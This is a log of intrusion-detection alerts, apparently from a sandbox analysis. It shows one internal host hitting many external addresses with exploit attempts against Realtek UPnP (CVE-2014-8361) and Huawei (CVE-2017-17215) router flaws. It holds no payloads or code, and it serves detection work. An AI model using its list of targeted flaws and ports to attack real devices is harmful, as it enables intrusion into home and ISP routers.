ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 136.224.18.44

Timestamp:	07/20/24-23:02:08.128674
SID:	2027339
Source Port:	51322
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.210.25.215

Timestamp:	07/20/24-23:00:59.204975
SID:	2829579
Source Port:	37938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 78.42.251.42

Timestamp:	07/20/24-23:01:41.533243
SID:	2025132
Source Port:	44868
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 100.41.144.113

Timestamp:	07/20/24-23:01:13.204741
SID:	2027339
Source Port:	52070
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 120.98.109.98

Timestamp:	07/20/24-23:01:04.165954
SID:	2025132
Source Port:	45156
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 8.226.239.105

Timestamp:	07/20/24-23:01:41.205247
SID:	2025132
Source Port:	51268
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.8.175.218

Timestamp:	07/20/24-23:01:44.680845
SID:	2027339
Source Port:	46268
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.18.22.34

Timestamp:	07/20/24-23:01:42.962388
SID:	2027339
Source Port:	59576
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.25.16.6

Timestamp:	07/20/24-23:01:46.319020
SID:	2027339
Source Port:	44376
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 104.20.213.42

Timestamp:	07/20/24-23:01:58.055687
SID:	2025132
Source Port:	33566
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.245.29.116

Timestamp:	07/20/24-23:01:58.249042
SID:	2027339
Source Port:	33212
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 92.168.171.93

Timestamp:	07/20/24-23:01:11.827498
SID:	2835222
Source Port:	52512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.213.39.196

Timestamp:	07/20/24-23:01:20.132103
SID:	2829579
Source Port:	32866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.224.4.245

Timestamp:	07/20/24-23:01:02.113055
SID:	2829579
Source Port:	37100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 147.8.193.70

Timestamp:	07/20/24-23:02:06.806210
SID:	2831300
Source Port:	44198
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 123.91.96.233

Timestamp:	07/20/24-23:01:42.411586
SID:	2831300
Source Port:	55468
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.252.81.48

Timestamp:	07/20/24-23:01:46.891763
SID:	2027339
Source Port:	48814
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.114.148.67

Timestamp:	07/20/24-23:01:00.636534
SID:	2835222
Source Port:	60674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.231.240.156

Timestamp:	07/20/24-23:00:59.148145
SID:	2829579
Source Port:	36240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.51.148.163

Timestamp:	07/20/24-23:01:24.886284
SID:	2835222
Source Port:	59416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 101.9.169.24

Timestamp:	07/20/24-23:01:42.809185
SID:	2027339
Source Port:	52892
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.133.200.251

Timestamp:	07/20/24-23:01:13.583885
SID:	2027339
Source Port:	58320
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 211.69.194.148

Timestamp:	07/20/24-23:01:23.872117
SID:	2025132
Source Port:	46058
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 1.84.241.246

Timestamp:	07/20/24-23:01:42.187124
SID:	2025132
Source Port:	49100
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 147.69.83.159

Timestamp:	07/20/24-23:01:04.631848
SID:	2027339
Source Port:	59006
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 62.90.39.173

Timestamp:	07/20/24-23:01:02.731126
SID:	2025132
Source Port:	56040
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 97.247.179.245

Timestamp:	07/20/24-23:01:25.783904
SID:	2025132
Source Port:	55398
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 140.142.252.32

Timestamp:	07/20/24-23:01:14.113390
SID:	2829579
Source Port:	60610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.60.237.131

Timestamp:	07/20/24-23:01:51.016561
SID:	2027339
Source Port:	46870
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 17.76.42.20

Timestamp:	07/20/24-23:01:52.678633
SID:	2025132
Source Port:	37760
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.80.93.33

Timestamp:	07/20/24-23:01:00.658201
SID:	2835222
Source Port:	38354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 165.21.55.96

Timestamp:	07/20/24-23:01:41.349768
SID:	2027339
Source Port:	34456
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.80.173.172

Timestamp:	07/20/24-23:01:45.667238
SID:	2027339
Source Port:	33240
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 74.191.12.65

Timestamp:	07/20/24-23:01:57.434940
SID:	2027339
Source Port:	34012
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.179.102.207

Timestamp:	07/20/24-23:01:53.258882
SID:	2027339
Source Port:	48378
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 138.191.112.237

Timestamp:	07/20/24-23:01:11.635828
SID:	2829579
Source Port:	41410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.154.77.145

Timestamp:	07/20/24-23:01:08.615260
SID:	2027339
Source Port:	46100
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 115.176.151.108

Timestamp:	07/20/24-23:01:53.372532
SID:	2831300
Source Port:	57208
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 52.121.181.216

Timestamp:	07/20/24-23:01:43.763925
SID:	2027339
Source Port:	48326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 136.37.204.244

Timestamp:	07/20/24-23:01:41.249014
SID:	2027339
Source Port:	37622
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 139.92.32.15

Timestamp:	07/20/24-23:01:47.141323
SID:	2027339
Source Port:	51316
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 203.184.58.202

Timestamp:	07/20/24-23:01:54.277122
SID:	2025132
Source Port:	55422
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 65.192.188.21

Timestamp:	07/20/24-23:01:04.053604
SID:	2829579
Source Port:	37496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 204.114.85.200

Timestamp:	07/20/24-23:01:42.479337
SID:	2025132
Source Port:	43420
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 111.193.202.8

Timestamp:	07/20/24-23:01:42.151857
SID:	2025132
Source Port:	44722
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 203.124.141.209

Timestamp:	07/20/24-23:01:51.076036
SID:	2831300
Source Port:	54624
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 36.168.150.31

Timestamp:	07/20/24-23:01:20.597058
SID:	2831300
Source Port:	44578
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 36.69.228.71

Timestamp:	07/20/24-23:01:31.314147
SID:	2831300
Source Port:	58596
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 210.201.123.76

Timestamp:	07/20/24-23:01:44.450410
SID:	2831300
Source Port:	55666
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 36.12.14.153

Timestamp:	07/20/24-23:01:46.092258
SID:	2831300
Source Port:	34218
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 45.208.1.181

Timestamp:	07/20/24-23:01:49.040108
SID:	2025132
Source Port:	35238
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.112.72.60

Timestamp:	07/20/24-23:01:49.203134
SID:	2027339
Source Port:	48192
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 80.40.99.121

Timestamp:	07/20/24-23:01:34.048618
SID:	2835222
Source Port:	58806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.42.102.158

Timestamp:	07/20/24-23:01:42.713313
SID:	2027339
Source Port:	40798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 35.30.208.203

Timestamp:	07/20/24-23:02:02.671155
SID:	2831300
Source Port:	43120
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 80.12.29.225

Timestamp:	07/20/24-23:01:53.459445
SID:	2831300
Source Port:	50914
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 82.187.47.45

Timestamp:	07/20/24-23:01:46.525128
SID:	2831300
Source Port:	45820
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.170.174.78

Timestamp:	07/20/24-23:01:43.839288
SID:	2027339
Source Port:	39870
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 91.148.233.46

Timestamp:	07/20/24-23:01:45.407049
SID:	2831300
Source Port:	35450
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.104.182.219

Timestamp:	07/20/24-23:01:02.055683
SID:	2835222
Source Port:	51098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 217.231.155.95

Timestamp:	07/20/24-23:01:44.470424
SID:	2027339
Source Port:	35058
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.36.169.221

Timestamp:	07/20/24-23:01:46.348899
SID:	2027339
Source Port:	53338
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.203.103.36

Timestamp:	07/20/24-23:01:44.137774
SID:	2027339
Source Port:	37142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 101.122.117.242

Timestamp:	07/20/24-23:01:48.181097
SID:	2831300
Source Port:	44604
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.36.116.167

Timestamp:	07/20/24-23:01:00.645186
SID:	2835222
Source Port:	53540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.212.150.4

Timestamp:	07/20/24-23:01:51.328797
SID:	2027339
Source Port:	53538
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 223.250.7.213

Timestamp:	07/20/24-23:01:45.104633
SID:	2831300
Source Port:	37702
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.172.122.41

Timestamp:	07/20/24-23:01:46.329269
SID:	2027339
Source Port:	56996
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 79.6.78.78

Timestamp:	07/20/24-23:01:56.845732
SID:	2831300
Source Port:	46188
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 50.114.115.150

Timestamp:	07/20/24-23:01:10.738721
SID:	2027339
Source Port:	50512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 118.151.178.3

Timestamp:	07/20/24-23:01:45.179680
SID:	2025132
Source Port:	53918
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 93.148.210.215

Timestamp:	07/20/24-23:01:41.686830
SID:	2831300
Source Port:	56344
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 217.106.167.57

Timestamp:	07/20/24-23:01:12.852602
SID:	2027339
Source Port:	41254
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 116.171.63.113

Timestamp:	07/20/24-23:01:07.036064
SID:	2829579
Source Port:	38344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.157.173.255

Timestamp:	07/20/24-23:01:25.595910
SID:	2027339
Source Port:	47002
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 201.63.23.173

Timestamp:	07/20/24-23:02:01.645031
SID:	2831300
Source Port:	39976
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.170.117.213

Timestamp:	07/20/24-23:01:25.035135
SID:	2027339
Source Port:	57600
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.133.231.223

Timestamp:	07/20/24-23:01:41.488676
SID:	2027339
Source Port:	47140
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 20.63.97.204

Timestamp:	07/20/24-23:01:47.726021
SID:	2831300
Source Port:	41158
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 96.119.211.11

Timestamp:	07/20/24-23:01:54.829737
SID:	2025132
Source Port:	35970
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.212.28.22

Timestamp:	07/20/24-23:01:24.885849
SID:	2829579
Source Port:	40988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.84.192.59

Timestamp:	07/20/24-23:02:11.743968
SID:	2027339
Source Port:	37572
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.243.218.95

Timestamp:	07/20/24-23:02:08.090583
SID:	2027339
Source Port:	33618
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.235.3.106

Timestamp:	07/20/24-23:01:02.046626
SID:	2829579
Source Port:	42854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 147.69.83.159

Timestamp:	07/20/24-23:01:08.646615
SID:	2027339
Source Port:	32940
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.83.137.181

Timestamp:	07/20/24-23:01:40.296076
SID:	2835222
Source Port:	37636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.8.213.94

Timestamp:	07/20/24-23:01:04.113037
SID:	2835222
Source Port:	51016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.51.233.233

Timestamp:	07/20/24-23:01:31.314146
SID:	2027339
Source Port:	59934
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 143.69.193.236

Timestamp:	07/20/24-23:01:44.658614
SID:	2831300
Source Port:	59664
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 126.71.100.246

Timestamp:	07/20/24-23:01:24.904906
SID:	2835222
Source Port:	51310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 183.154.28.107

Timestamp:	07/20/24-23:01:43.224525
SID:	2831300
Source Port:	45980
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.102.199.133

Timestamp:	07/20/24-23:01:14.097795
SID:	2829579
Source Port:	50358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 122.69.178.214

Timestamp:	07/20/24-23:01:51.304967
SID:	2027339
Source Port:	34938
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 182.102.31.222

Timestamp:	07/20/24-23:00:57.223015
SID:	2829579
Source Port:	36772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 98.176.193.82

Timestamp:	07/20/24-23:01:02.789203
SID:	2027339
Source Port:	48232
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.140.127.150

Timestamp:	07/20/24-23:01:02.066908
SID:	2829579
Source Port:	52194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.138.103.205

Timestamp:	07/20/24-23:01:14.111381
SID:	2829579
Source Port:	35496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 69.239.30.22

Timestamp:	07/20/24-23:01:42.717611
SID:	2027339
Source Port:	43206
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 161.136.114.82

Timestamp:	07/20/24-23:01:53.963505
SID:	2025132
Source Port:	47468
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

